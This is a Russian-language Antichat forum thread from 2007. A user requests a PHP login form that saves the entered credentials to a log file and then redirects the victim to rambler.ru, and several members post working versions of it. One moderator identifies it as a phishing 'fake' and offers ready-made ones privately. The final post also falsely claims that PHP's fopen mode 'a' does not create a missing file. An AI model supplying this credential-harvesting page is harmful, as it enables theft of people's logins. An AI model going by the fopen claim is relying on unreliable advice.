Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

05.11.2007, 09:12
|
|
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме: 205732
Репутация:
6
|
|
Форма на Php
Помогите плззз!
Знаю что для, людей которые хорошо знают php дело 2-х минут.
В общем надо форму аутентификации с двумя или тремя полями,
Например имя:
Пароль:
Чо нить ещё:
Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler.
Вроде просто, но блин времени мало, что бы самому разбираться.
Выложите плззз готовый код.
И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?
|
|
|

05.11.2007, 12:42
|
|
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме: 1982081
Репутация:
1067
|
|
PHP код:
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
<?
if (isset($_POST))
{
$string = "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
|
|
|

05.11.2007, 13:04
|
|
Moderator - Level 7
Регистрация: 04.02.2007
Сообщений: 554
Провел на форуме: 7518056
Репутация:
1089
|
|
если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М
|
|
|

05.11.2007, 13:08
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
все правильно только надо поменять местами.. так редиректа не будет
Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле, или из PHP.
а так будет
PHP код:
<?
if (isset($_POST))
{
$string = "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
|
|
|

05.11.2007, 13:09
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
.::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер.
PHP код:
<?
if( !$_POST )
{
?>
<form method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
<?
}
else
{
$string = $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
Последний раз редактировалось NOmeR1; 05.11.2007 в 13:12..
|
|
|

05.11.2007, 13:18
|
|
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме: 205732
Репутация:
6
|
|
2Zapadlo 17
Да ты прав, скинь если можешь.
|
|
|

05.11.2007, 13:20
|
|
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме: 205732
Репутация:
6
|
|
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
|
|
|

05.11.2007, 13:29
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
'a' - если файла не существует создает.. аа так открывает на запись в конец файла
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

05.11.2007, 13:29
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Сообщение от Other
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
Это модификатор, он может иметь значения:
'r' - Открыть только для чтения;
'r+' - Открыть для чтения и записи;
'w' - Открыть только для записи;
'a' - Открыть только для записи в конец файла;
'a+' - Открыть для чтения и записи в конец файла;
__________________
Кто я?..
|
|
|

05.11.2007, 13:34
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Сообщение от blackybr
'a' - если файла не существует создает.. аа так открывает на запись в конец файла
не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
__________________
Кто я?..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|